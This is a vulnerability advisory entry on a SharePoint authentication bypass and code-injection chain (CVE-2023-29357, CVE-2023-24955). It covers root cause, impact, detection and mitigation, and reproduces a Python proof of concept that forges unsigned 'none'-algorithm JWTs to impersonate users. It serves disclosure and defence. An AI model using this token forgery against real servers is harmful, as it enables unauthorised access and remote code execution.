SharePoint Auth Bypass + Code Injection (Pwn2Own 2023)

aka SharePoint JWT none-alg bypass

Product: Microsoft SharePoint Server 2019
CVE: CVE-2023-29357 CVE-2023-24955
Disclosed: 2023-06-13
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: SharePoint Server 2019 (CVE-2023-29357); SharePoint Server 2016, 2019 and Subscription Edition (CVE-2023-24955).
Fixed: June 2023 (CVE-2023-29357) and May 2023 (CVE-2023-24955) security updates.

Summary

Jang (Nguyen Tien Giang) of STAR Labs chained an authentication bypass with a code-injection bug for unauthenticated RCE on SharePoint at Pwn2Own Vancouver 2023. Forged JWTs signed with the 'none' algorithm let the attacker impersonate any user, including a site admin.

Root cause

SharePoint's OAuth handling accepted JWT tokens with alg 'none' (unsigned), so a forged token with an arbitrary nameid and the right realm authenticated the attacker as any user (CVE-2023-29357). As a site owner, the attacker then writes a malicious BDCMetadata.bdcm file whose dynamic proxy generation compiles attacker-controlled C# code (CVE-2023-24955), giving code execution in the w3wp process.

Impact

Unauthenticated RCE on SharePoint Server 2019 when the chain is combined.

Public PoC

client_id = "00000003-0000-0ff1-ce00-000000000000"
# realm comes from the WWW-Authenticate header of
# GET /_api/web/siteusers with 'Authorization: Bearer '
payload = {
    "aud": f"{client_id}@{realm}",
    "iss": client_id,
    "nbf": int(current_time), "exp": int(expiration_time),
    "ver": "hashedprooftoken",
    "nameid": f"{client_id}@{realm}",
    "endpointurl": "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=",
    "endpointurlLength": 1,
    "isloopback": True
}
header = {"alg": "none"}
jwt_token = f"{b64(header)}.{b64(payload)}.AAA"
headers = {"Accept": "application/json",
           "Authorization": f"Bearer {jwt_token}",
           "X-PROOF_TOKEN": jwt_token}
requests.get(url + '/_api/web/siteusers', headers=headers, verify=False)
# user list returned => bypass works; per-user tokens are then tried on /_api/web/currentuser

Source: Chocapikk - CVE-2023-29357 (auth bypass check)

Detection

Look for SharePoint ULS/IIS logs with Authorization: Bearer tokens using alg 'none', requests to /_api/web/siteusers from unauthenticated sources, and new BDCMetadata.bdcm files. Nuclei template CVE-2023-29357.

Mitigation

Apply the May and June 2023 updates; enable AMSI integration in SharePoint; restrict external exposure.